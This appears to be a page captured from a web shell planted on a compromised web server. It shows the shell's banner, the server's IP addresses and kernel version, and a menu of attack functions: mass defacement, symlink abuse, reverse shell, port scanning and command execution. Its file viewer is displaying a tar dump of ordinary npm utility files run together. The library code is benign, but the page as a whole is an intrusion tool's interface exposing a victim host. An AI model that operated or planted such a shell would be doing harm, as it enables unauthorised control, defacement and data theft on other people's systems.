ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: utils.js.tar
home/logercm/dev.loger.cm/node_modules/update-browserslist-db/utils.js 0000644 00000001261 15120024267 0022166 0 ustar 00 const { EOL } = require('os') const getFirstRegexpMatchOrDefault = (text, regexp, defaultValue) => { regexp.lastIndex = 0 // https://stackoverflow.com/a/11477448/4536543 let match = regexp.exec(text) if (match !== null) return match[1] return defaultValue } const DEFAULT_INDENT = ' ' const INDENT_REGEXP = /^([ \t]+)[^\s]/m module.exports.detectIndent = text => getFirstRegexpMatchOrDefault(text, INDENT_REGEXP, DEFAULT_INDENT) module.exports.DEFAULT_INDENT = DEFAULT_INDENT const DEFAULT_EOL = EOL const EOL_REGEXP = /(\r\n|\n|\r)/g module.exports.detectEOL = text => getFirstRegexpMatchOrDefault(text, EOL_REGEXP, DEFAULT_EOL) module.exports.DEFAULT_EOL = DEFAULT_EOL home/logercm/dev.loger.cm/node_modules/esutils/lib/utils.js 0000644 00000002767 15120323654 0020035 0 ustar 00 /* Copyright (C) 2013 Yusuke Suzuki <utatane.tea@gmail.com> Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ (function () { 'use strict'; exports.ast = require('./ast'); exports.code = require('./code'); exports.keyword = require('./keyword'); }()); /* vim: set sw=4 ts=4 et tw=80 : */ home/logercm/dev.loger.cm/node_modules/sockjs/lib/utils.js 0000644 00000007634 15120336240 0017632 0 ustar 00 // Generated by CoffeeScript 1.12.7 (function() { var array_intersection, crypto, escapable, lookup, unroll_lookup; crypto = require('crypto'); exports.array_intersection = array_intersection = function(arr_a, arr_b) { var a, j, len, r; r = []; for (j = 0, len = arr_a.length; j < len; j++) { a = arr_a[j]; if (arr_b.indexOf(a) !== -1) { r.push(a); } } return r; }; exports.escape_selected = function(str, chars) { var c, i, j, l, len, map, parts, r, ref, v; map = {}; chars = '%' + chars; for (j = 0, len = chars.length; j < len; j++) { c = chars[j]; map[c] = escape(c); } r = new RegExp('([' + chars + '])'); parts = str.split(r); for (i = l = 0, ref = parts.length; 0 <= ref ? l < ref : l > ref; i = 0 <= ref ? ++l : --l) { v = parts[i]; if (v.length === 1 && v in map) { parts[i] = map[v]; } } return parts.join(''); }; exports.buffer_concat = function(buf_a, buf_b) { var dst; dst = new Buffer(buf_a.length + buf_b.length); buf_a.copy(dst); buf_b.copy(dst, buf_a.length); return dst; }; exports.md5_hex = function(data) { return crypto.createHash('md5').update(data).digest('hex'); }; exports.sha1_base64 = function(data) { return crypto.createHash('sha1').update(data).digest('base64'); }; exports.timeout_chain = function(arr) { var fun, ref, timeout, user_fun; arr = arr.slice(0); if (!arr.length) { return; } ref = arr.shift(), timeout = ref[0], user_fun = ref[1]; fun = (function(_this) { return function() { user_fun(); return exports.timeout_chain(arr); }; })(this); return setTimeout(fun, timeout); }; exports.objectExtend = function(dst, src) { var k; for (k in src) { if (src.hasOwnProperty(k)) { dst[k] = src[k]; } } return dst; }; exports.overshadowListeners = function(ee, event, handler) { var new_handler, old_listeners; old_listeners = ee.listeners(event).slice(0); ee.removeAllListeners(event); new_handler = function() { var j, len, listener; if (handler.apply(this, arguments) !== true) { for (j = 0, len = old_listeners.length; j < len; j++) { listener = old_listeners[j]; listener.apply(this, arguments); } return false; } return true; }; return ee.addListener(event, new_handler); }; escapable = /[\x00-\x1f\ud800-\udfff\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufff0-\uffff]/g; unroll_lookup = function(escapable) { var c, i, unrolled; unrolled = {}; c = (function() { var j, results; results = []; for (i = j = 0; j < 65536; i = ++j) { results.push(String.fromCharCode(i)); } return results; })(); escapable.lastIndex = 0; c.join('').replace(escapable, function(a) { return unrolled[a] = '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); }); return unrolled; }; lookup = unroll_lookup(escapable); exports.quote = function(string) { var quoted; quoted = JSON.stringify(string); escapable.lastIndex = 0; if (!escapable.test(quoted)) { return quoted; } return quoted.replace(escapable, function(a) { return lookup[a]; }); }; exports.parseCookie = function(cookie_header) { var cookie, cookies, j, len, parts, ref; cookies = {}; if (cookie_header) { ref = cookie_header.split(';'); for (j = 0, len = ref.length; j < len; j++) { cookie = ref[j]; parts = cookie.split('='); cookies[parts[0].trim()] = (parts[1] || '').trim(); } } return cookies; }; exports.random32 = function() { var foo, v; foo = crypto.randomBytes(4); v = [foo[0], foo[1], foo[2], foo[3]]; return v[0] + (v[1] * 256) + (v[2] * 256 * 256) + (v[3] * 256 * 256 * 256); }; }).call(this); home/logercm/dev.loger.cm/node_modules/picomatch/lib/utils.js 0000644 00000003535 15120366442 0020310 0 ustar 00 'use strict'; const path = require('path'); const win32 = process.platform === 'win32'; const { REGEX_BACKSLASH, REGEX_REMOVE_BACKSLASH, REGEX_SPECIAL_CHARS, REGEX_SPECIAL_CHARS_GLOBAL } = require('./constants'); exports.isObject = val => val !== null && typeof val === 'object' && !Array.isArray(val); exports.hasRegexChars = str => REGEX_SPECIAL_CHARS.test(str); exports.isRegexChar = str => str.length === 1 && exports.hasRegexChars(str); exports.escapeRegex = str => str.replace(REGEX_SPECIAL_CHARS_GLOBAL, '\\$1'); exports.toPosixSlashes = str => str.replace(REGEX_BACKSLASH, '/'); exports.removeBackslashes = str => { return str.replace(REGEX_REMOVE_BACKSLASH, match => { return match === '\\' ? '' : match; }); }; exports.supportsLookbehinds = () => { const segs = process.version.slice(1).split('.').map(Number); if (segs.length === 3 && segs[0] >= 9 || (segs[0] === 8 && segs[1] >= 10)) { return true; } return false; }; exports.isWindows = options => { if (options && typeof options.windows === 'boolean') { return options.windows; } return win32 === true || path.sep === '\\'; }; exports.escapeLast = (input, char, lastIdx) => { const idx = input.lastIndexOf(char, lastIdx); if (idx === -1) return input; if (input[idx - 1] === '\\') return exports.escapeLast(input, char, idx - 1); return `${input.slice(0, idx)}\\${input.slice(idx)}`; }; exports.removePrefix = (input, state = {}) => { let output = input; if (output.startsWith('./')) { output = output.slice(2); state.prefix = './'; } return output; }; exports.wrapOutput = (input, state = {}, options = {}) => { const prepend = options.contains ? '' : '^'; const append = options.contains ? '' : '$'; let output = `${prepend}(?:${input})${append}`; if (state.negated === true) { output = `(?:^(?!${output}).*$)`; } return output; };
Coded With 💗 by
0x6ick